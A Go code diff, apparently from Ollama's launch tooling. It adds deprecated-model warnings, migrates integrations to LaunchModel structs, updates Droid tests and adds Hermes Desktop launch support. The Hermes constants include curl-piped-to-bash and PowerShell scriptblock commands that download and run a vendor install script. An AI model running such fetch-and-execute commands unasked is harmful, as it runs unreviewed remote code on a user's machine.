@@ -513,7 +513,7 @@ func TestLaunchCmdHeadlessWithoutYes_AllowsConfiguredLaunch(t *testing.T) {
 	srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
 		switch r.URL.Path {
 		case "/api/show":
-			fmt.Fprint(w, `{"model":"llama3.2"}`)
+			fmt.Fprint(w, `{"model":"sample-model"}`)
 		case "/api/status":
 			w.WriteHeader(http.StatusNotFound)
 			fmt.Fprint(w, `{"error":"not found"}`)
@@ -534,15 +534,15 @@ func TestLaunchCmdHeadlessWithoutYes_AllowsConfiguredLaunch(t *testing.T) {
 	}
 
 	cmd := LaunchCmd(func(cmd *cobra.Command, args []string) error { return nil }, func(cmd *cobra.Command) {})
-	cmd.SetArgs([]string{"stubeditor", "--model", "llama3.2"})
+	cmd.SetArgs([]string{"stubeditor", "--model", "sample-model"})
 	err := cmd.Execute()
 	if err != nil {
 		t.Fatalf("expected launch command to succeed without --yes when an explicit model is provided, got %v", err)
 	}
-	if diff := compareStringSlices(stub.edited, [][]string{{"llama3.2"}}); diff != "" {
+	if diff := compareStringSlices(stub.edited, [][]string{{"sample-model"}}); diff != "" {
 		t.Fatalf("unexpected editor writes (-want +got):\n%s", diff)
 	}
-	if stub.ranModel != "llama3.2" {
+	if stub.ranModel != "sample-model" {
 		t.Fatalf("expected launch to run configured model, got %q", stub.ranModel)
 	}
 }
@@ -551,7 +551,7 @@ func TestLaunchCmdIntegrationArgPromptsForModelWithSavedSelection(t *testing.T)
 	tmpDir := t.TempDir()
 	setLaunchTestHome(t, tmpDir)
 
-	if err := config.SaveIntegration("stubapp", []string{"llama3.2"}); err != nil {
+	if err := config.SaveIntegration("stubapp", []string{"sample-model"}); err != nil {
 		t.Fatalf("failed to seed saved config: %v", err)
 	}
 
@@ -560,7 +560,7 @@ func TestLaunchCmdIntegrationArgPromptsForModelWithSavedSelection(t *testing.T)
 		case "/api/experimental/model-recommendations":
 			fmt.Fprint(w, `{"recommendations":[]}`)
 		case "/api/tags":
-			fmt.Fprint(w, `{"models":[{"name":"llama3.2"},{"name":"qwen3:8b"}]}`)
+			fmt.Fprint(w, `{"models":[{"name":"sample-model"},{"name":"qwen3:8b"}]}`)
 		case "/api/show":
 			fmt.Fprint(w, `{"model":"qwen3:8b"}`)
 		default:
@@ -589,8 +589,8 @@ func TestLaunchCmdIntegrationArgPromptsForModelWithSavedSelection(t *testing.T)
 		t.Fatalf("launch command failed: %v", err)
 	}
 
-	if gotCurrent != "llama3.2" {
-		t.Fatalf("expected selector current model to be saved model llama3.2, got %q", gotCurrent)
+	if gotCurrent != "sample-model" {
+		t.Fatalf("expected selector current model to be saved model sample-model, got %q", gotCurrent)
 	}
 	if stub.ranModel != "qwen3:8b" {
 		t.Fatalf("expected launch to run selected model qwen3:8b, got %q", stub.ranModel)
@@ -611,14 +611,14 @@ func TestLaunchCmdHeadlessYes_IntegrationRequiresModelEvenWhenSaved(t *testing.T
 	withLauncherHooks(t)
 	withInteractiveSession(t, false)
 
-	if err := config.SaveIntegration("stubapp", []string{"llama3.2"}); err != nil {
+	if err := config.SaveIntegration("stubapp", []string{"sample-model"}); err != nil {
 		t.Fatalf("failed to seed saved config: %v", err)
 	}
 
 	srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
 		switch r.URL.Path {
 		case "/api/show":
-			fmt.Fprint(w, `{"model":"llama3.2"}`)
+			fmt.Fprint(w, `{"model":"sample-model"}`)
 		default:
 			w.WriteHeader(http.StatusNotFound)
 		}

cmd/launch/copilot.go

@@ -43,7 +43,7 @@ func (c *Copilot) findPath() (string, error) {
 	return fallback, nil
 }
 
-func (c *Copilot) Run(model string, args []string) error {
+func (c *Copilot) Run(model string, _ []LaunchModel, args []string) error {
 	copilotPath, err := c.findPath()
 	if err != nil {
 		return fmt.Errorf("copilot is not installed, install from https://docs.github.com/en/copilot/how-tos/set-up/install-copilot-cli")

cmd/launch/deprecated_models.go

@@ -0,0 +1,133 @@
+package launch
+
+import (
+	"fmt"
+	"strings"
+
+	"github.com/ollama/ollama/internal/modelref"
+)
+
+var deprecatedLaunchModels = map[string]struct{}{
+	"codellama":     {},
+	"qwen2.5":       {},
+	"qwen2.5-coder": {},
+	"llama3":        {},
+	"llama3.1":      {},
+	"llama3.2":      {},
+	"llama3.3":      {},
+	"mistral":       {},
+	"starcoder":     {},
+}
+
+var deprecatedLaunchModelTags = map[string]map[string]struct{}{
+	"deepseek-r1": {
+		"":       {},
+		"latest": {},
+		"1.5b":   {},
+		"7b":     {},
+		"8b":     {},
+		"14b":    {},
+		"32b":    {},
+	},
+}
+
+var errDeprecatedLaunchModelDeclined = fmt.Errorf("%w: deprecated launch model declined", ErrCancelled)
+
+func isDeprecatedLaunchModel(name string) bool {
+	family, tag := normalizedLaunchModelRef(name)
+	if _, ok := deprecatedLaunchModels[family]; ok {
+		return true
+	}
+	tags, ok := deprecatedLaunchModelTags[family]
+	if !ok {
+		return false
+	}
+	_, ok = tags[tag]
+	return ok
+}
+
+func deprecatedLaunchModelPrompt(name, label, commandName, cloudRec, localRec string) string {
+	if !isDeprecatedLaunchModel(name) {
+		return ""
+	}
+	if label = strings.TrimSpace(label); label == "" {
+		label = "ollama launch"
+	}
+
+	var b strings.Builder
+	fmt.Fprintf(&b, "%s does not work well with %s. ", name, label)
+	switch {
+	case cloudRec != "" && localRec != "":
+		fmt.Fprintf(&b, "Try an agent-capable model like %s or %s instead", cloudRec, localRec)
+	case cloudRec != "":
+		fmt.Fprintf(&b, "Try an agent-capable model like %s instead", cloudRec)
+	case localRec != "":
+		fmt.Fprintf(&b, "Try an agent-capable model like %s instead", localRec)
+	default:
+		b.WriteString("Try a newer recommended agent-capable model instead")
+	}
+	if command := launchReplacementCommand(commandName, firstNonEmpty(cloudRec, localRec)); command != "" {
+		fmt.Fprintf(&b, ":\n  %s", command)
+	} else {
+		b.WriteString(".")
+	}
+	fmt.Fprintf(&b, "\n\nLaunch with %s anyway?", name)
+	return b.String()
+}
+
+func launchReplacementCommand(commandName, model string) string {
+	commandName = strings.TrimSpace(commandName)
+	model = strings.TrimSpace(model)
+	if commandName == "" || model == "" {
+		return ""
+	}
+	return fmt.Sprintf("ollama launch %s --model %s", commandName, model)
+}
+
+func firstNonEmpty(values ...string) string {
+	for _, value := range values {
+		if value != "" {
+			return value
+		}
+	}
+	return ""
+}
+
+func normalizedLaunchModelRef(name string) (string, string) {
+	name = strings.TrimSpace(strings.ToLower(name))
+	if name == "" {
+		return "", ""
+	}
+	if base, stripped := modelref.StripCloudSourceTag(name); stripped {
+		name = base
+	}
+	if idx := strings.LastIndex(name, "/"); idx >= 0 {
+		name = name[idx+1:]
+	}
+	tag := ""
+	if idx := strings.Index(name, ":"); idx >= 0 {
+		tag = strings.TrimSpace(name[idx+1:])
+		name = name[:idx]
+	}
+	return strings.TrimSpace(name), tag
+}
+
+func filterDeprecatedLaunchModelItems(items []ModelItem) []ModelItem {
+	filtered := items[:0]
+	for _, item := range items {
+		if !isDeprecatedLaunchModel(item.Name) {
+			filtered = append(filtered, item)
+		}
+	}
+	return filtered
+}
+
+func filterDeprecatedLaunchModelNames(models []string) []string {
+	filtered := models[:0]
+	for _, model := range models {
+		if !isDeprecatedLaunchModel(model) {
+			filtered = append(filtered, model)
+		}
+	}
+	return filtered
+}

cmd/launch/deprecated_models_test.go

@@ -0,0 +1,68 @@
+package launch
+
+import (
+	"strings"
+	"testing"
+)
+
+func TestLaunchModelDeprecation(t *testing.T) {
+	tests := []struct {
+		name       string
+		deprecated bool
+	}{
+		{name: "qwen2.5", deprecated: true},
+		{name: "qwen2.5:14b", deprecated: true},
+		{name: "qwen2.5-coder:32b", deprecated: true},
+		{name: "library/qwen2.5-coder:7b", deprecated: true},
+		{name: "llama3", deprecated: true},
+		{name: "llama3.1:8b", deprecated: true},
+		{name: "llama3.2:latest", deprecated: true},
+		{name: "llama3.3:70b", deprecated: true},
+		{name: "llama3.2:cloud", deprecated: true},
+		{name: "codellama", deprecated: true},
+		{name: "codellama:13b-code", deprecated: true},
+		{name: "library/codellama:7b", deprecated: true},
+		{name: "starcoder", deprecated: true},
+		{name: "starcoder:15b", deprecated: true},
+		{name: "mistral", deprecated: true},
+		{name: "mistral:7b", deprecated: true},
+		{name: "deepseek-r1", deprecated: true},
+		{name: "deepseek-r1:latest", deprecated: true},
+		{name: "deepseek-r1:1.5b", deprecated: true},
+		{name: "deepseek-r1:7b", deprecated: true},
+		{name: "deepseek-r1:8b", deprecated: true},
+		{name: "deepseek-r1:14b", deprecated: true},
+		{name: "deepseek-r1:32b", deprecated: true},
+		{name: "deepseek-r1:32b-cloud", deprecated: true},
+		{name: "qwen3.5", deprecated: false},
+		{name: "qwen3-coder:30b", deprecated: false},
+		{name: "gemma4", deprecated: false},
+		{name: "my-qwen2.5-coder", deprecated: false},
+		{name: "llama3.2-inspired", deprecated: false},
+		{name: "codellama-inspired", deprecated: false},
+		{name: "starcoder2:15b", deprecated: false},
+		{name: "mixtral:8x7b", deprecated: false},
+		{name: "deepseek-r1:70b", deprecated: false},
+		{name: "deepseek-r1:671b", deprecated: false},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			if got := isDeprecatedLaunchModel(tt.name); got != tt.deprecated {
+				t.Fatalf("isDeprecatedLaunchModel(%q) = %v, want %v", tt.name, got, tt.deprecated)
+			}
+		})
+	}
+}
+
+func TestDeprecatedLaunchModelErrorMentionsRecommendedModels(t *testing.T) {
+	prompt := deprecatedLaunchModelPrompt("qwen2.5-coder:32b", "Codex", "codex", "recommended-cloud:cloud", "recommended-local")
+	if prompt == "" {
+		t.Fatal("expected deprecated model prompt")
+	}
+	for _, want := range []string{"qwen2.5-coder:32b does not work well with Codex", "recommended-cloud:cloud", "recommended-local", "ollama launch codex --model recommended-cloud:cloud", "Launch with qwen2.5-coder:32b anyway?"} {
+		if !strings.Contains(prompt, want) {
+			t.Fatalf("prompt %q does not contain %q", prompt, want)
+		}
+	}
+}

cmd/launch/droid.go

@@ -40,7 +40,7 @@ type modelEntry struct {
 
 func (d *Droid) String() string { return "Droid" }
 
-func (d *Droid) Run(model string, args []string) error {
+func (d *Droid) Run(model string, _ []LaunchModel, args []string) error {
 	if _, err := exec.LookPath("droid"); err != nil {
 		return fmt.Errorf("droid is not installed, install from https://docs.factory.ai/cli/getting-started/quickstart")
 	}
@@ -64,7 +64,7 @@ func (d *Droid) Paths() []string {
 	return nil
 }
 
-func (d *Droid) Edit(models []string) error {
+func (d *Droid) Edit(models []LaunchModel) error {
 	if len(models) == 0 {
 		return nil
 	}
@@ -99,7 +99,7 @@ func (d *Droid) Edit(models []string) error {
 	return fileutil.WriteWithBackup(settingsPath, data, "droid")
 }
 
-func updateDroidSettings(settingsMap map[string]any, settings droidSettings, models []string) map[string]any {
+func updateDroidSettings(settingsMap map[string]any, settings droidSettings, models []LaunchModel) map[string]any {
 	// Keep only non-Ollama models from the raw map (preserves extra fields)
 	// Rebuild Ollama models
 	var nonOllamaModels []any
@@ -119,20 +119,18 @@ func updateDroidSettings(settingsMap map[string]any, settings droidSettings, mod
 	var defaultModelID string
 	for i, model := range models {
 		maxOutput := 64000
-		if isCloudModelName(model) {
-			if l, ok := lookupCloudModelLimit(model); ok {
-				maxOutput = l.Output
-			}
+		if model.MaxOutputTokens > 0 {
+			maxOutput = model.MaxOutputTokens
 		}
-		modelID := fmt.Sprintf("custom:%s-%d", model, i)
+		modelID := fmt.Sprintf("custom:%s-%d", model.Name, i)
 		newModels = append(newModels, modelEntry{
-			Model:           model,
-			DisplayName:     model,
+			Model:           model.Name,
+			DisplayName:     model.Name,
 			BaseURL:         envconfig.Host().String() + "/v1",
 			APIKey:          "ollama",
 			Provider:        "generic-chat-completion-api",
 			MaxOutputTokens: maxOutput,
-			SupportsImages:  false,
+			SupportsImages:  model.HasCapability("vision"),
 			ID:              modelID,
 			Index:           i,
 		})

cmd/launch/droid_test.go

@@ -63,7 +63,7 @@ func TestDroidEdit(t *testing.T) {
 
 	t.Run("fresh install creates models with sequential indices", func(t *testing.T) {
 		cleanup()
-		if err := d.Edit([]string{"model-a", "model-b"}); err != nil {
+		if err := d.Edit(testLaunchModels("model-a", "model-b")); err != nil {
 			t.Fatal(err)
 		}
 
@@ -99,7 +99,7 @@ func TestDroidEdit(t *testing.T) {
 
 	t.Run("sets sessionDefaultSettings.model to first model ID", func(t *testing.T) {
 		cleanup()
-		if err := d.Edit([]string{"model-a", "model-b"}); err != nil {
+		if err := d.Edit(testLaunchModels("model-a", "model-b")); err != nil {
 			t.Fatal(err)
 		}
 
@@ -116,10 +116,10 @@ func TestDroidEdit(t *testing.T) {
 	t.Run("re-indexes when models removed", func(t *testing.T) {
 		cleanup()
 		// Add three models
-		d.Edit([]string{"model-a", "model-b", "model-c"})
+		d.Edit(testLaunchModels("model-a", "model-b", "model-c"))
 
 		// Remove middle model
-		d.Edit([]string{"model-a", "model-c"})
+		d.Edit(testLaunchModels("model-a", "model-c"))
 
 		settings := readSettings()
 		models := getCustomModels(settings)
@@ -155,7 +155,7 @@ func TestDroidEdit(t *testing.T) {
 			]
 		}`), 0o644)
 
-		d.Edit([]string{"model-a"})
+		d.Edit(testLaunchModels("model-a"))
 
 		settings := readSettings()
 		models := getCustomModels(settings)
@@ -184,7 +184,7 @@ func TestDroidEdit(t *testing.T) {
 			"sessionDefaultSettings": {"autonomyMode": "auto-high"}
 		}`), 0o644)
 
-		d.Edit([]string{"model-a"})
+		d.Edit(testLaunchModels("model-a"))
 
 		settings := readSettings()
 
@@ -203,7 +203,7 @@ func TestDroidEdit(t *testing.T) {
 
 	t.Run("required fields present", func(t *testing.T) {
 		cleanup()
-		d.Edit([]string{"test-model"})
+		d.Edit(testLaunchModels("test-model"))
 
 		settings := readSettings()
 		models := getCustomModels(settings)
@@ -239,7 +239,7 @@ func TestDroidEdit(t *testing.T) {
 			"sessionDefaultSettings": {"reasoningEffort": "off"}
 		}`), 0o644)
 
-		d.Edit([]string{"model-a"})
+		d.Edit(testLaunchModels("model-a"))
 
 		settings := readSettings()
 		session := settings["sessionDefaultSettings"].(map[string]any)
@@ -256,7 +256,7 @@ func TestDroidEdit(t *testing.T) {
 			"sessionDefaultSettings": {"reasoningEffort": "high"}
 		}`), 0o644)
 
-		d.Edit([]string{"model-a"})
+		d.Edit(testLaunchModels("model-a"))
 
 		settings := readSettings()
 		session := settings["sessionDefaultSettings"].(map[string]any)
@@ -281,7 +281,7 @@ func TestDroidEdit_CorruptedJSON(t *testing.T) {
 	os.WriteFile(settingsPath, []byte(`{corrupted json content`), 0o644)
 
 	// Corrupted JSON should return an error so user knows something is wrong
-	err := d.Edit([]string{"model-a"})
+	err := d.Edit(testLaunchModels("model-a"))
 	if err == nil {
 		t.Fatal("expected error for corrupted JSON, got nil")
 	}
@@ -306,7 +306,7 @@ func TestDroidEdit_WrongTypeCustomModels(t *testing.T) {
 	os.WriteFile(settingsPath, []byte(`{"customModels": "not an array"}`), 0o644)
 
 	// Should not panic - wrong type should be handled gracefully
-	err := d.Edit([]string{"model-a"})
+	err := d.Edit(testLaunchModels("model-a"))
 	if err != nil {
 		t.Fatalf("Edit failed with wrong type customModels: %v", err)
 	}
@@ -338,7 +338,7 @@ func TestDroidEdit_EmptyModels(t *testing.T) {
 	os.WriteFile(settingsPath, []byte(originalContent), 0o644)
 
 	// Empty models should be no-op
-	err := d.Edit([]string{})
+	err := d.Edit(testLaunchModels())
 	if err != nil {
 		t.Fatalf("Edit with empty models failed: %v", err)
 	}
@@ -359,7 +359,7 @@ func TestDroidEdit_DuplicateModels(t *testing.T) {
 	settingsPath := filepath.Join(settingsDir, "settings.json")
 
 	// Add same model twice
-	err := d.Edit([]string{"model-a", "model-a"})
+	err := d.Edit(testLaunchModels("model-a", "model-a"))
 	if err != nil {
 		t.Fatalf("Edit with duplicates failed: %v", err)
 	}
@@ -388,7 +388,7 @@ func TestDroidEdit_MalformedModelEntry(t *testing.T) {
 	// Model entry is a string instead of a map
 	os.WriteFile(settingsPath, []byte(`{"customModels": ["not a map", 123]}`), 0o644)
 
-	err := d.Edit([]string{"model-a"})
+	err := d.Edit(testLaunchModels("model-a"))
 	if err != nil {
 		t.Fatalf("Edit with malformed entries failed: %v", err)
 	}
@@ -415,7 +415,7 @@ func TestDroidEdit_WrongTypeSessionSettings(t *testing.T) {
 	// sessionDefaultSettings is a string instead of map
 	os.WriteFile(settingsPath, []byte(`{"sessionDefaultSettings": "not a map"}`), 0o644)
 
-	err := d.Edit([]string{"model-a"})
+	err := d.Edit(testLaunchModels("model-a"))
 	if err != nil {
 		t.Fatalf("Edit with wrong type sessionDefaultSettings failed: %v", err)
 	}
@@ -490,7 +490,7 @@ func TestDroidEdit_RoundTrip(t *testing.T) {
 	os.WriteFile(settingsPath, []byte(testDroidSettingsFixture), 0o644)
 
 	// Edit with new models
-	if err := d.Edit([]string{"llama3", "mistral"}); err != nil {
+	if err := d.Edit(testLaunchModels("llama3", "mistral")); err != nil {
 		t.Fatal(err)
 	}
 
@@ -615,7 +615,7 @@ func TestDroidEdit_PreservesUnknownFields(t *testing.T) {
 		}`
 		os.WriteFile(settingsPath, []byte(original), 0o644)
 
-		if err := d.Edit([]string{"model-a"}); err != nil {
+		if err := d.Edit(testLaunchModels("model-a")); err != nil {
 			t.Fatal(err)
 		}
 
@@ -660,7 +660,7 @@ func TestDroidEdit_PreservesUnknownFields(t *testing.T) {
 		}`
 		os.WriteFile(settingsPath, []byte(original), 0o644)
 
-		if err := d.Edit([]string{"llama3"}); err != nil {
+		if err := d.Edit(testLaunchModels("llama3")); err != nil {
 			t.Fatal(err)
 		}
 
@@ -715,10 +715,10 @@ func TestDroidEdit_Idempotent(t *testing.T) {
 	os.WriteFile(settingsPath, []byte(testDroidSettingsFixture), 0o644)
 
 	// Edit twice with same models
-	d.Edit([]string{"llama3", "mistral"})
+	d.Edit(testLaunchModels("llama3", "mistral"))
 	firstData, _ := os.ReadFile(settingsPath)
 
-	d.Edit([]string{"llama3", "mistral"})
+	d.Edit(testLaunchModels("llama3", "mistral"))
 	secondData, _ := os.ReadFile(settingsPath)
 
 	// Results should be identical
@@ -744,7 +744,7 @@ func TestDroidEdit_MultipleConsecutiveEdits(t *testing.T) {
 		if i%2 == 0 {
 			models = []string{"model-x", "model-y", "model-z"}
 		}
-		if err := d.Edit(models); err != nil {
+		if err := d.Edit(launchModelsFromNames(models)); err != nil {
 			t.Fatalf("edit %d failed: %v", i, err)
 		}
 	}
@@ -803,7 +803,7 @@ func TestDroidEdit_UnicodeAndSpecialCharacters(t *testing.T) {
 	}`
 	os.WriteFile(settingsPath, []byte(original), 0o644)
 
-	if err := d.Edit([]string{"model-a"}); err != nil {
+	if err := d.Edit(testLaunchModels("model-a")); err != nil {
 		t.Fatal(err)
 	}
 
@@ -845,7 +845,7 @@ func TestDroidEdit_LargeNumbers(t *testing.T) {
 	}`
 	os.WriteFile(settingsPath, []byte(original), 0o644)
 
-	if err := d.Edit([]string{"model-a"}); err != nil {
+	if err := d.Edit(testLaunchModels("model-a")); err != nil {
 		t.Fatal(err)
 	}
 
@@ -889,7 +889,7 @@ func TestDroidEdit_EmptyAndNullValues(t *testing.T) {
 	}`
 	os.WriteFile(settingsPath, []byte(original), 0o644)
 
-	if err := d.Edit([]string{"model-a"}); err != nil {
+	if err := d.Edit(testLaunchModels("model-a")); err != nil {
 		t.Fatal(err)
 	}
 
@@ -943,7 +943,7 @@ func TestDroidEdit_DeeplyNestedStructures(t *testing.T) {
 	}`
 	os.WriteFile(settingsPath, []byte(original), 0o644)
 
-	if err := d.Edit([]string{"model-a"}); err != nil {
+	if err := d.Edit(testLaunchModels("model-a")); err != nil {
 		t.Fatal(err)
 	}
 
@@ -988,7 +988,7 @@ func TestDroidEdit_ModelNamesWithSpecialCharacters(t *testing.T) {
 		"model_with_underscores",
 	}
 
-	if err := d.Edit(specialModels); err != nil {
+	if err := d.Edit(launchModelsFromNames(specialModels)); err != nil {
 		t.Fatal(err)
 	}
 
@@ -1025,7 +1025,7 @@ func TestDroidEdit_MissingCustomModelsKey(t *testing.T) {
 		t.Fatal(err)
 	}
 
-	settings = updateDroidSettings(settings, settingsStruct, []string{"model-a"})
+	settings = updateDroidSettings(settings, settingsStruct, testLaunchModels("model-a"))
 
 	// Original fields preserved
 	if settings["diffMode"] != "github" {
@@ -1062,7 +1062,7 @@ func TestDroidEdit_NullCustomModels(t *testing.T) {
 	}`
 	os.WriteFile(settingsPath, []byte(original), 0o644)
 
-	if err := d.Edit([]string{"model-a"}); err != nil {
+	if err := d.Edit(testLaunchModels("model-a")); err != nil {
 		t.Fatal(err)
 	}
 
@@ -1090,7 +1090,7 @@ func TestDroidEdit_MinifiedJSON(t *testing.T) {
 	original := `{"diffMode":"github","enableHooks":true,"hooks":{"imported":["cmd1","cmd2"]},"customModels":[],"sessionDefaultSettings":{}}`
 	os.WriteFile(settingsPath, []byte(original), 0o644)
 
-	if err := d.Edit([]string{"model-a"}); err != nil {
+	if err := d.Edit(testLaunchModels("model-a")); err != nil {
 		t.Fatal(err)
 	}
 
@@ -1120,7 +1120,7 @@ func TestDroidEdit_CreatesDirectoryIfMissing(t *testing.T) {
 		t.Fatal("directory should not exist before test")
 	}
 
-	if err := d.Edit([]string{"model-a"}); err != nil {
+	if err := d.Edit(testLaunchModels("model-a")); err != nil {
 		t.Fatal(err)
 	}
 
@@ -1157,7 +1157,7 @@ func TestDroidEdit_PreservesFileAfterError(t *testing.T) {
 	os.WriteFile(settingsPath, []byte(original), 0o644)
 
 	// Empty models list is a no-op, should not modify file
-	d.Edit([]string{})
+	d.Edit(testLaunchModels())
 
 	data, _ := os.ReadFile(settingsPath)
 	if string(data) != original {
@@ -1181,7 +1181,7 @@ func TestDroidEdit_BackupCreated(t *testing.T) {
 	original := fmt.Sprintf(`{"diffMode": "%s", "customModels": [], "sessionDefaultSettings": {}}`, uniqueMarker)
 	os.WriteFile(settingsPath, []byte(original), 0o644)
 
-	if err := d.Edit([]string{"model-a"}); err != nil {
+	if err := d.Edit(testLaunchModels("model-a")); err != nil {
 		t.Fatal(err)
 	}
 
@@ -1231,7 +1231,7 @@ func TestDroidEdit_LargeNumberOfModels(t *testing.T) {
 		models = append(models, fmt.Sprintf("model-%d", i))
 	}
 
-	if err := d.Edit(models); err != nil {
+	if err := d.Edit(launchModelsFromNames(models)); err != nil {
 		t.Fatal(err)
 	}
 
@@ -1261,7 +1261,7 @@ func TestDroidEdit_LocalModelDefaultMaxOutput(t *testing.T) {
 	settingsDir := filepath.Join(tmpDir, ".factory")
 	settingsPath := filepath.Join(settingsDir, "settings.json")
 
-	if err := d.Edit([]string{"llama3.2"}); err != nil {
+	if err := d.Edit(testLaunchModels("llama3.2")); err != nil {
 		t.Fatal(err)
 	}
 
@@ -1312,7 +1312,7 @@ func TestDroidEdit_ArraysWithMixedTypes(t *testing.T) {
 	}`
 	os.WriteFile(settingsPath, []byte(original), 0o644)
 
-	if err := d.Edit([]string{"model-a"}); err != nil {
+	if err := d.Edit(testLaunchModels("model-a")); err != nil {
 		t.Fatal(err)
 	}
 

cmd/launch/hermes.go

@@ -14,6 +14,7 @@ import (
 	"strconv"
 	"strings"
 
+	"golang.org/x/mod/semver"
 	"gopkg.in/yaml.v3"
 
 	"github.com/ollama/ollama/api"
@@ -23,7 +24,11 @@ import (
 )
 
 const (
-	hermesInstallScript     = "curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh | bash -s -- --skip-setup"
+	// https://github.com/NousResearch/hermes-agent/releases/tag/v2026.6.5
+	hermesDesktopMinVersion = "v0.16.0"
+	hermesInstallScript     = "curl -fsSL https://hermes-agent.nousresearch.com/install.sh | bash -s -- --skip-setup"
+	hermesWindowsInstallURL = "https://hermes-agent.nousresearch.com/install.ps1"
+	hermesWindowsInstallCmd = "& ([scriptblock]::Create((irm " + hermesWindowsInstallURL + "))) -SkipSetup"
 	hermesProviderName      = "Ollama"
 	hermesProviderKey       = "ollama-launch"
 	hermesLegacyKey         = "ollama"
@@ -65,7 +70,7 @@ type Hermes struct{}
 
 func (h *Hermes) String() string { return "Hermes Agent" }
 
-func (h *Hermes) Run(_ string, args []string) error {
+func (h *Hermes) Run(_ string, _ []LaunchModel, args []string) error {
 	// Hermes reads its primary model from config.yaml. launch configures that
 	// default model ahead of time so we can keep runtime invocation simple and
 	// still let Hermes discover additional models later via its own UX.
@@ -81,6 +86,177 @@ func (h *Hermes) Run(_ string, args []string) error {
 	return hermesAttachedCommand(bin, args...).Run()
 }
 
+type HermesDesktop struct {
+	Hermes
+}
+
+func (h *HermesDesktop) String() string { return "Hermes Desktop" }
+
+func (h *HermesDesktop) Run(_ string, _ []LaunchModel, args []string) error {
+	bin, err := h.binary()
+	if err != nil {
+		return err
+	}
+	if err := h.ensureHermesDesktopMinVersion(bin); err != nil {
+		return err
+	}
+	return hermesAttachedCommand(bin, h.launchArgs(args)...).Run()
+}
+
+func (h *HermesDesktop) ensureHermesDesktopMinVersion(bin string) error {
+	if hermesGOOS == "windows" {
+		return nil
+	}
+	version := hermesVersionOf(bin)
+	if version == "" {
+		return nil
+	}
+	if semver.Compare(version, hermesDesktopMinVersion) >= 0 {
+		return nil
+	}
+	fmt.Fprintf(os.Stderr, "%sHermes %s is older than the minimum version (%s) for `hermes desktop`; updating...%s\n", ansiGray, version, hermesDesktopMinVersion, ansiReset)
+	if err := hermesAttachedCommand(bin, "update").Run(); err != nil {
+		return fmt.Errorf("failed to update hermes to %s or newer: %w", hermesDesktopMinVersion, err)
+	}
+	return nil
+}
+
+func hermesVersionOf(bin string) string {
+	out, err := hermesCommand(bin, "--version").Output()
+	if err != nil {
+		return ""
+	}
+	firstLine := strings.SplitN(strings.TrimSpace(string(out)), "\n", 2)[0]
+	return parseHermesVersion(firstLine)
+}
+
+func parseHermesVersion(firstLine string) string {
+	for _, field := range strings.Fields(firstLine) {
+		if semver.IsValid(field) {
+			return field
+		}
+	}
+	return ""
+}
+
+func (h *HermesDesktop) Onboard() error {
+	return config.MarkIntegrationOnboarded("hermes-desktop")
+}
+
+func (h *HermesDesktop) launchArgs(args []string) []string {
+	launchArgs := []string{"desktop"}
+	if h.shouldSkipDesktopBuild(args) {
+		launchArgs = append(launchArgs, "--skip-build")
+	}
+	return append(launchArgs, args...)
+}
+
+func (h *HermesDesktop) shouldSkipDesktopBuild(args []string) bool {
+	if hermesDesktopHasFlag(args, "--skip-build", "--source", "--build-only", "--help", "-h") {
+		return false
+	}
+	return h.packagedAppExists()
+}
+
+func (h *HermesDesktop) packagedAppExists() bool {
+	for _, root := range hermesDesktopReleaseRoots() {
+		for _, candidate := range hermesDesktopPackagedExecutableCandidates(root) {
+			if _, err := os.Stat(candidate); err == nil {
+				return true
+			}
+		}
+	}
+	return false
+}
+
+// These roots mirror Hermes' own install layout:
+// install.sh uses ~/.hermes/hermes-agent for user installs and
+// /usr/local/lib/hermes-agent for new Linux root installs; install.ps1
+// and the bootstrap installer use %LOCALAPPDATA%\hermes\hermes-agent on
+// Windows. HERMES_HOME and HERMES_INSTALL_DIR are installer-supported
+// overrides.
+func hermesDesktopReleaseRoots() []string {
+	var installRoots []string
+	add := func(path string) {
+		path = strings.TrimSpace(path)
+		if path == "" {
+			return
+		}
+		installRoots = append(installRoots, filepath.Clean(path))
+	}
+
+	if installDir := strings.TrimSpace(os.Getenv("HERMES_INSTALL_DIR")); installDir != "" {
+		add(installDir)
+	}
+	if hermesHome := strings.TrimSpace(os.Getenv("HERMES_HOME")); hermesHome != "" {
+		add(filepath.Join(hermesHome, "hermes-agent"))
+	}
+
+	home, err := hermesUserHome()
+	if err == nil {
+		switch hermesGOOS {
+		case "windows":
+			if localAppData := strings.TrimSpace(os.Getenv("LOCALAPPDATA")); localAppData != "" {
+				add(filepath.Join(localAppData, "hermes", "hermes-agent"))
+			}
+			add(filepath.Join(home, ".hermes", "hermes-agent"))
+		default:
+			add(filepath.Join(home, ".hermes", "hermes-agent"))
+			if hermesGOOS == "linux" {
+				add(filepath.Join(string(filepath.Separator), "usr", "local", "lib", "hermes-agent"))
+			}
+		}
+	}
+
+	seen := make(map[string]bool, len(installRoots))
+	releaseRoots := make([]string, 0, len(installRoots))
+	for _, root := range installRoots {
+		releaseRoot := filepath.Join(root, "apps", "desktop", "release")
+		if seen[releaseRoot] {
+			continue
+		}
+		seen[releaseRoot] = true
+		releaseRoots = append(releaseRoots, releaseRoot)
+	}
+	return releaseRoots
+}
+
+func hermesDesktopPackagedExecutableCandidates(releaseRoot string) []string {
+	switch hermesGOOS {
+	case "darwin":
+		matches, err := filepath.Glob(filepath.Join(releaseRoot, "mac*", "Hermes.app", "Contents", "MacOS", "Hermes"))
+		if err != nil {
+			return nil
+		}
+		return matches
+	case "windows":
+		return []string{
+			filepath.Join(releaseRoot, "win-unpacked", "Hermes.exe"),
+			filepath.Join(releaseRoot, "win-ia32-unpacked", "Hermes.exe"),
+			filepath.Join(releaseRoot, "win-arm64-unpacked", "Hermes.exe"),
+		}
+	default:
+		return []string{
+			filepath.Join(releaseRoot, "linux-unpacked", "hermes"),
+			filepath.Join(releaseRoot, "linux-unpacked", "Hermes"),
+		}
+	}
+}
+
+func hermesDesktopHasFlag(args []string, names ...string) bool {
+	for _, arg := range args {
+		if arg == "--" {
+			return false
+		}
+		for _, name := range names {
+			if arg == name {
+				return true
+			}
+		}
+	}
+	return false
+}
+
 func (h *Hermes) Paths() []string {
 	configPath, err := hermesConfigPath()
 	if err != nil {
@@ -183,22 +359,24 @@ func (h *Hermes) installed() bool {
 }
 
 func (h *Hermes) ensureInstalled() error {
